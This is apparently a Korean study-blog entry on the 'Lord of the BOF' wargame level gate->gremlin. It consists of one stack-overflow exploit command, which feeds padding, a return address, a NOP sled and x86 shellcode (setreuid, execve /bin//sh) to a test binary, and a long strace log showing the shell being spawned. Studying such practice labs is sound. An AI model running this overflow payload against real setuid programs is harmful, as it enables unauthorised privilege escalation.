ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [lob] gate->gremlin
    공부/LOB 2014. 7. 30. 19:59

    [gate@localhost gate]$ strace -i ./cc `python -c 'print "a"*260+"\x68\xf9\xff\xbf"+"\x90"*200+"\x31\xc0\xb0\x31\xcd\x80\x89\xc1\x89\xc3\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
    upeek: ptrace(PTRACE_PEEKUSER, ... ): No such process
    [????????] execve("./cc", ["./cc", "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaah?퓧???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????1육1??햰?육F?1픐h//shh/bin??S??柰
                                                                                   ?"], [/* 23 vars */]) = 0
    [4000f78c] brk(0)                       = 0x8049850
    [4000f84d] old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40014000
    [4000ee54] open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory)
    [4000ee54] open("/etc/ld.so.cache", O_RDONLY) = 3
    [4000ed5d] fstat(3, {st_mode=S_IFREG|0644, st_size=12210, ...}) = 0
    [4000f84d] old_mmap(NULL, 12210, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40015000
    [4000ee8d] close(3)                     = 0
    [4000ee54] open("/lib/libc.so.6", O_RDONLY) = 3
    [4000ed5d] fstat(3, {st_mode=S_IFREG|0755, st_size=4101324, ...}) = 0
    [4000eed4] read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\210\212"..., 4096) = 4096
    [4000f84d] old_mmap(NULL, 1001564, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40018000
    [4000f8d4] mprotect(0x40105000, 30812, PROT_NONE) = 0
    [4000f84d] old_mmap(0x40105000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0xec000) = 0x40105000
    [4000f84d] old_mmap(0x40109000, 14428, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40109000
    [4000ee8d] close(3)                     = 0
    [4000f8d4] mprotect(0x40018000, 970752, PROT_READ|PROT_WRITE) = 0
    [4000f8d4] mprotect(0x40018000, 970752, PROT_READ|PROT_EXEC) = 0
    [4000f891] munmap(0x40015000, 12210)    = 0
    [400ca7fd] personality(PER_LINUX)       = 0
    [400aa257] getpid()                     = 989
    [400bdc8c] fstat64(0x1, 0xbffff04c)     = -1 ENOSYS (Function not implemented)
    [400bdcd3] fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
    [400c7afd] old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40015000
    [400c4b54] ioctl(1, TCGETS, {B9600 opost isig icanon echo ...}) = 0
    [400beb14] write(1, "0xbffff828  61 61 61 61 61 61 61"..., 790xbffff828  61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61   aaaaaaaaaaaaaaaa
    ) = 79
    [400beb14] write(1, "0xbffff838  61 61 61 61 61 61 61"..., 790xbffff838  61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61   aaaaaaaaaaaaaaaa
    ) = 79
    [400beb14] write(1, "0xbffff848  61 61 61 61 61 61 61"..., 790xbffff848  61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61   aaaaaaaaaaaaaaaa
    ) = 79
    [400beb14] write(1, "0xbffff858  61 61 61 61 61 61 61"..., 790xbffff858  61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61   aaaaaaaaaaaaaaaa
    ) = 79
    [400beb14] write(1, "0xbffff868  61 61 61 61 61 61 61"..., 790xbffff868  61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61   aaaaaaaaaaaaaaaa
    ) = 79
    [400beb14] write(1, "0xbffff878  61 61 61 61 61 61 61"..., 790xbffff878  61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61   aaaaaaaaaaaaaaaa
    ) = 79
    [400beb14] write(1, "0xbffff888  61 61 61 61 61 61 61"..., 790xbffff888  61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61   aaaaaaaaaaaaaaaa
    ) = 79
    [400beb14] write(1, "0xbffff898  61 61 61 61 61 61 61"..., 790xbffff898  61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61   aaaaaaaaaaaaaaaa
    ) = 79
    [400beb14] write(1, "0xbffff8a8  61 61 61 61 61 61 61"..., 790xbffff8a8  61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61   aaaaaaaaaaaaaaaa
    ) = 79
    [400beb14] write(1, "0xbffff8b8  61 61 61 61 61 61 61"..., 790xbffff8b8  61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61   aaaaaaaaaaaaaaaa
    ) = 79
    [400beb14] write(1, "0xbffff8c8  61 61 61 61 61 61 61"..., 790xbffff8c8  61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61   aaaaaaaaaaaaaaaa
    ) = 79
    [400beb14] write(1, "0xbffff8d8  61 61 61 61 61 61 61"..., 790xbffff8d8  61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61   aaaaaaaaaaaaaaaa
    ) = 79
    [400beb14] write(1, "0xbffff8e8  61 61 61 61 61 61 61"..., 790xbffff8e8  61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61   aaaaaaaaaaaaaaaa
    ) = 79
    [400beb14] write(1, "0xbffff8f8  61 61 61 61 61 61 61"..., 790xbffff8f8  61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61   aaaaaaaaaaaaaaaa
    ) = 79
    [400beb14] write(1, "0xbffff908  61 61 61 61 61 61 61"..., 790xbffff908  61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61   aaaaaaaaaaaaaaaa
    ) = 79
    [400beb14] write(1, "0xbffff918  61 61 61 61 61 61 61"..., 790xbffff918  61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61   aaaaaaaaaaaaaaaa
    ) = 79
    [400beb14] write(1, "0xbffff928  61 61 61 61 68 f9 ff"..., 790xbffff928  61 61 61 61 68 f9 ff bf 90 90 90 90 90 90 90 90   aaaah...........
    ) = 79
    [400beb14] write(1, "0xbffff938  90 90 90 90 90 90 90"..., 790xbffff938  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
    ) = 79
    [400beb14] write(1, "0xbffff948  90 90 90 90 90 90 90"..., 790xbffff948  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
    ) = 79
    [400beb14] write(1, "0xbffff958  90 90 90 90 90 90 90"..., 790xbffff958  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
    ) = 79
    [400beb14] write(1, "0xbffff968  90 90 90 90 90 90 90"..., 790xbffff968  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
    ) = 79
    [400beb14] write(1, "0xbffff978  90 90 90 90 90 90 90"..., 790xbffff978  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
    ) = 79
    [400beb14] write(1, "0xbffff988  90 90 90 90 90 90 90"..., 790xbffff988  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
    ) = 79
    [400beb14] write(1, "0xbffff998  90 90 90 90 90 90 90"..., 790xbffff998  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
    ) = 79
    [400beb14] write(1, "0xbffff9a8  90 90 90 90 90 90 90"..., 790xbffff9a8  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
    ) = 79
    [400beb14] write(1, "\n", 1
    )            = 1
    [400beb14] write(1, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"..., 506aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaah?퓧???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????1육1??햰?육F?1픐h//shh/bin??S??柰
                                                                                                             ?
    ) = 506
    [bffff9fe] geteuid()                    = 500
    [bffffa08] setreuid(500, 500)           = 0
    [bffffa21] execve("/bin//sh", ["/bin//sh"]ptrace: umoven: Input/output error
    , [/* 0 vars */]) = 0
    [4000f78c] brk(0)                       = 0x80994a0
    [4000f84d] old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40014000
    [4000ee54] open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory)
    [4000ee54] open("/etc/ld.so.cache", O_RDONLY) = 3
    [4000ed5d] fstat(3, {st_mode=S_IFREG|0644, st_size=12210, ...}) = 0
    [4000f84d] old_mmap(NULL, 12210, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40015000
    [4000ee8d] close(3)                     = 0
    [4000ee54] open("/lib/libtermcap.so.2", O_RDONLY) = 3
    [4000ed5d] fstat(3, {st_mode=S_IFREG|0755, st_size=12224, ...}) = 0
    [4000eed4] read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0000\16\0"..., 4096) = 4096
    [4000f84d] old_mmap(NULL, 15304, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40018000
    [4000f8d4] mprotect(0x4001b000, 3016, PROT_NONE) = 0
    [4000f84d] old_mmap(0x4001b000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x2000) = 0x4001b000
    [4000ee8d] close(3)                     = 0
    [4000ee54] open("/lib/libc.so.6", O_RDONLY) = 3
    [4000ed5d] fstat(3, {st_mode=S_IFREG|0755, st_size=4101324, ...}) = 0
    [4000eed4] read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\210\212"..., 4096) = 4096
    [4000f84d] old_mmap(NULL, 1001564, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x4001c000
    [4000f8d4] mprotect(0x40109000, 30812, PROT_NONE) = 0
    [4000f84d] old_mmap(0x40109000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0xec000) = 0x40109000
    [4000f84d] old_mmap(0x4010d000, 14428, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4010d000
    [4000ee8d] close(3)                     = 0
    [4000f8d4] mprotect(0x4001c000, 970752, PROT_READ|PROT_WRITE) = 0
    [4000f8d4] mprotect(0x4001c000, 970752, PROT_READ|PROT_EXEC) = 0
    [4000f891] munmap(0x40015000, 12210)    = 0
    [400ce7fd] personality(PER_LINUX)       = 0
    [400ae257] getpid()                     = 989
    [400ae2b7] getuid()                     = 500
    [400ae317] getgid()                     = 500
    [400ae2e7] geteuid()                    = 500
    [400ae347] getegid()                    = 500
    [400c8a6c] brk(0)                       = 0x80994a0
    [400c8a6c] brk(0x80994c0)               = 0x80994c0
    [400c8a6c] brk(0x809a000)               = 0x809a000
    [400a4f7d] time(NULL)                   = 1405321770
    [400c8b54] ioctl(0, TCGETS, {B9600 opost isig icanon echo ...}) = 0
    [400c8b54] ioctl(1, TCGETS, {B9600 opost isig icanon echo ...}) = 0
    [4003aae2] rt_sigaction(SIGCHLD, {SIG_DFL}, {SIG_DFL}, 8) = 0
    [4003aae2] rt_sigaction(SIGCHLD, {SIG_DFL}, {SIG_DFL}, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {SIG_DFL}, {SIG_DFL}, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {SIG_DFL}, {SIG_DFL}, 8) = 0
    [4003aae2] rt_sigaction(SIGQUIT, {SIG_DFL}, {SIG_DFL}, 8) = 0
    [4003aae2] rt_sigaction(SIGQUIT, {SIG_DFL}, {SIG_DFL}, 8) = 0
    [4003aae2] rt_sigaction(SIGTERM, {SIG_DFL}, {SIG_DFL}, 8) = 0
    [4003aae2] rt_sigaction(SIGTERM, {SIG_DFL}, {SIG_DFL}, 8) = 0
    [4003aae2] rt_sigaction(SIGHUP, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
    [4003aae2] rt_sigaction(SIGILL, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
    [4003aae2] rt_sigaction(SIGTRAP, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
    [4003aae2] rt_sigaction(SIGABRT, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
    [4003aae2] rt_sigaction(SIGFPE, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
    [4003aae2] rt_sigaction(SIGBUS, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
    [4003aae2] rt_sigaction(SIGSEGV, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
    [4003aae2] rt_sigaction(SIGUNUSED, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
    [4003aae2] rt_sigaction(SIGPIPE, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
    [4003aae2] rt_sigaction(SIGALRM, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
    [4003aae2] rt_sigaction(SIGTERM, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
    [4003aae2] rt_sigaction(SIGXCPU, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
    [4003aae2] rt_sigaction(SIGXFSZ, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
    [4003aae2] rt_sigaction(SIGVTALRM, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
    [4003aae2] rt_sigaction(SIGPROF, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
    [4003aae2] rt_sigaction(SIGUSR1, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
    [4003aae2] rt_sigaction(SIGUSR2, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, NULL, [], 8) = 0
    [4003aae2] rt_sigaction(SIGQUIT, {SIG_IGN}, {SIG_DFL}, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGTERM, {SIG_IGN}, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGTSTP, {SIG_IGN}, {SIG_DFL}, 8) = 0
    [4003aae2] rt_sigaction(SIGTTOU, {SIG_IGN}, {SIG_DFL}, 8) = 0
    [4003aae2] rt_sigaction(SIGTTIN, {SIG_IGN}, {SIG_DFL}, 8) = 0
    [400cedc2] socket(PF_UNIX, SOCK_STREAM, 0) = 3
    [400cea82] connect(3, {sin_family=AF_UNIX, path="                                                                                       /var/run/.nscd_socket"}, 110) = -1 ECONNREFUSED (Connection refused)
    [400c2a8d] close(3)                     = 0
    [400c2a24] open("/etc/nsswitch.conf", O_RDONLY) = 3
    [400c1c8c] fstat64(0x3, 0xbffffba0)     = -1 ENOSYS (Function not implemented)
    [400c1cd3] fstat(3, {st_mode=S_IFREG|0644, st_size=1744, ...}) = 0
    [400cbafd] old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40015000
    [400c2ad4] read(3, "#\n# /etc/nsswitch.conf\n#\n# An ex"..., 4096) = 1744
    [400c8a6c] brk(0x809b000)               = 0x809b000
    [400c2ad4] read(3, "", 4096)            = 0
    [400c2a8d] close(3)                     = 0
    [400cbb41] munmap(0x40015000, 4096)     = 0
    [4000ee54] open("/etc/ld.so.cache", O_RDONLY) = 3
    [4000ed5d] fstat(3, {st_mode=S_IFREG|0644, st_size=12210, ...}) = 0
    [4000f84d] old_mmap(NULL, 12210, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40015000
    [4000ee8d] close(3)                     = 0
    [4000ee54] open("/lib/libnss_files.so.2", O_RDONLY) = 3
    [4000ed5d] fstat(3, {st_mode=S_IFREG|0755, st_size=246652, ...}) = 0
    [4000eed4] read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p \0\000"..., 4096) = 4096
    [4000f84d] old_mmap(NULL, 36384, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40111000
    [4000f8d4] mprotect(0x40119000, 3616, PROT_NONE) = 0
    [4000f84d] old_mmap(0x40119000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x7000) = 0x40119000
    [4000ee8d] close(3)                     = 0
    [4000f891] munmap(0x40015000, 12210)    = 0
    [400c2a24] open("/etc/passwd", O_RDONLY) = 3
    [400c2ce4] fcntl(3, F_GETFD)            = 0
    [400c2ce4] fcntl(3, F_SETFD, FD_CLOEXEC) = 0
    [400c1cd3] fstat(3, {st_mode=S_IFREG|0644, st_size=1536, ...}) = 0
    [400cbafd] old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40015000
    [400c2ad4] read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1536
    [400c2a8d] close(3)                     = 0
    [400cbb41] munmap(0x40015000, 4096)     = 0
    [400ad7ed] uname({sys="Linux", node="localhost.localdomain", ...}) = 0
    [4000ee54] open("/etc/ld.so.cache", O_RDONLY) = 3
    [4000ed5d] fstat(3, {st_mode=S_IFREG|0644, st_size=12210, ...}) = 0
    [4000f84d] old_mmap(NULL, 12210, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40015000
    [4000ee8d] close(3)                     = 0
    [4000ee54] open("/lib/libnss_nisplus.so.2", O_RDONLY) = 3
    [4000ed5d] fstat(3, {st_mode=S_IFREG|0755, st_size=252234, ...}) = 0
    [4000eed4] read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\20\37\0"..., 4096) = 4096
    [4000f84d] old_mmap(NULL, 41972, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x4011a000
    [4000f8d4] mprotect(0x40123000, 5108, PROT_NONE) = 0
    [4000f84d] old_mmap(0x40123000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x8000) = 0x40123000
    [4000ee8d] close(3)                     = 0
    [4000ee54] open("/lib/libnsl.so.1", O_RDONLY) = 3
    [4000ed5d] fstat(3, {st_mode=S_IFREG|0755, st_size=370141, ...}) = 0
    [4000eed4] read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\20?\0\000"..., 4096) = 4096
    [4000f84d] old_mmap(NULL, 88104, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40125000
    [4000f8d4] mprotect(0x40137000, 14376, PROT_NONE) = 0
    [4000f84d] old_mmap(0x40137000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x11000) = 0x40137000
    [4000f84d] old_mmap(0x40139000, 6184, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40139000
    [4000ee8d] close(3)                     = 0
    [4000f891] munmap(0x40015000, 12210)    = 0
    [4000ee54] open("/etc/ld.so.cache", O_RDONLY) = 3
    [4000ed5d] fstat(3, {st_mode=S_IFREG|0644, st_size=12210, ...}) = 0
    [4000f84d] old_mmap(NULL, 12210, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40015000
    [4000ee8d] close(3)                     = 0
    [4000ee54] open("/lib/libnss_nis.so.2", O_RDONLY) = 3
    [4000ed5d] fstat(3, {st_mode=S_IFREG|0755, st_size=255963, ...}) = 0
    [4000eed4] read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0`\37\0\000"..., 4096) = 4096
    [4000f84d] old_mmap(NULL, 38488, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x4013b000
    [4000f8d4] mprotect(0x40143000, 5720, PROT_NONE) = 0
    [4000f84d] old_mmap(0x40143000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x7000) = 0x40143000
    [4000ee8d] close(3)                     = 0
    [4000f891] munmap(0x40015000, 12210)    = 0
    [400c8a6c] brk(0x809c000)               = 0x809c000
    [400c8a6c] brk(0x809e000)               = 0x809e000
    [400c31d4] getcwd("/home/gate", 4095)   = 11
    [400ae257] getpid()                     = 989
    [400ae287] getppid()                    = 988
    [400ae2b7] getuid()                     = 500
    [400c2a24] open("/etc/passwd", O_RDONLY) = 3
    [400c2ce4] fcntl(3, F_GETFD)            = 0
    [400c2ce4] fcntl(3, F_SETFD, FD_CLOEXEC) = 0
    [400c1cd3] fstat(3, {st_mode=S_IFREG|0644, st_size=1536, ...}) = 0
    [400cbafd] old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40015000
    [400c2ad4] read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1536
    [400c2a8d] close(3)                     = 0
    [400cbb41] munmap(0x40015000, 4096)     = 0
    [400ae607] getpgrp()                    = 988
    [400c2fad] dup(2)                       = 3
    [400c8511] getrlimit(RLIMIT_NOFILE, {rlim_cur=1024, rlim_max=1024}) = 0
    [400c2ce4] fcntl(255, F_GETFD)          = -1 EBADF (Bad file descriptor)
    [400c2ff1] dup2(3, 255)                 = 255
    [400c2a8d] close(3)                     = 0
    [400c8b54] ioctl(255, TIOCGPGRP, [988]) = 0
    [400ae257] getpid()                     = 989
    [400ae5d1] setpgid(0, 989)              = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD TSTP TTIN TTOU], [], 8) = 0
    [400c8b54] ioctl(255, TIOCSPGRP, [989]) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [400c2ce4] fcntl(255, F_SETFD, FD_CLOEXEC) = 0
    [4003aae2] rt_sigaction(SIGCHLD, {0x805c190, [], 0x4000000}, {SIG_DFL}, 8) = 0
    [400c8b54] ioctl(255, TCGETS, {B9600 opost isig icanon echo ...}) = 0
    [400c16cd] stat("/var/spool/mail/gate", 0xbffffdb0) = -1 ENOENT (No such file or directory)
    [400a4f7d] time(NULL)                   = 1405321770
    [400c2a24] open("/home/gate/.bash_history", O_RDONLY) = 3
    [400c180d] fstat(3, {st_mode=S_IFREG|0600, st_size=1248, ...}) = 0
    [400c2ad4] read(3, "w\n./gremlin `python -c\'print \"a\""..., 1248) = 1248
    [400c2a8d] close(3)                     = 0
    [400c16cd] stat("/home/gate/.bash_history", {st_mode=S_IFREG|0600, st_size=1248, ...}) = 0
    [400c2a24] open("/home/gate/.bash_history", O_RDONLY) = 3
    [400c180d] fstat(3, {st_mode=S_IFREG|0600, st_size=1248, ...}) = 0
    [400c2ad4] read(3, "w\n./gremlin `python -c\'print \"a\""..., 1248) = 1248
    [400c2a8d] close(3)                     = 0
    [400c8a6c] brk(0x809f000)               = 0x809f000
    [400c8b54] ioctl(255, TCGETS, {B9600 opost isig icanon echo ...}) = 0
    [400c2ce4] fcntl(0, F_GETFL)            = 0x2 (flags O_RDWR)
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [400a4f7d] time(NULL)                   = 1405321770
    [400ae2e7] geteuid()                    = 500
    [400ae2e7] geteuid()                    = 500
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD TTOU], [], 8) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD TSTP TTIN TTOU], [], 8) = 0
    [400c8b54] ioctl(255, TIOCSPGRP, [989]) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [400c8a6c] brk(0x80a0000)               = 0x80a0000
    [400c2a24] open("/etc/termcap", O_RDONLY) = 3
    [400c1cd3] fstat(3, {st_mode=S_IFREG|0644, st_size=625272, ...}) = 0
    [400cbafd] old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40015000
    [400ce1e9] _llseek(3, 0, [0], SEEK_SET) = 0
    [400c2ad4] read(3, "######## TERMINAL TYPE DESCRIPTI"..., 4096) = 4096
    [400c2ad4] read(3, "or their hardware\n# (notably DEC"..., 4096) = 4096
    [400c2ad4] read(3, "The terminal enquire string <u9>"..., 4096) = 4096
    [400c2ad4] read(3, " redistribute freely.\n# There ar"..., 4096) = 4096
    [400c2a8d] close(3)                     = 0
    [400cbb41] munmap(0x40015000, 4096)     = 0
    [400c8b54] ioctl(0, TIOCGWINSZ, {ws_row=36, ws_col=153, ws_xpixel=64240, ws_ypixel=49151}) = 0
    [400c8b54] ioctl(0, TIOCGWINSZ, {ws_row=36, ws_col=153, ws_xpixel=64240, ws_ypixel=49151}) = 0
    [400c8b54] ioctl(0, TCGETS, {B9600 opost isig icanon echo ...}) = 0
    [400ae2b7] getuid()                     = 500
    [400c2a24] open("/etc/passwd", O_RDONLY) = 3
    [400c2ce4] fcntl(3, F_GETFD)            = 0
    [400c2ce4] fcntl(3, F_SETFD, FD_CLOEXEC) = 0
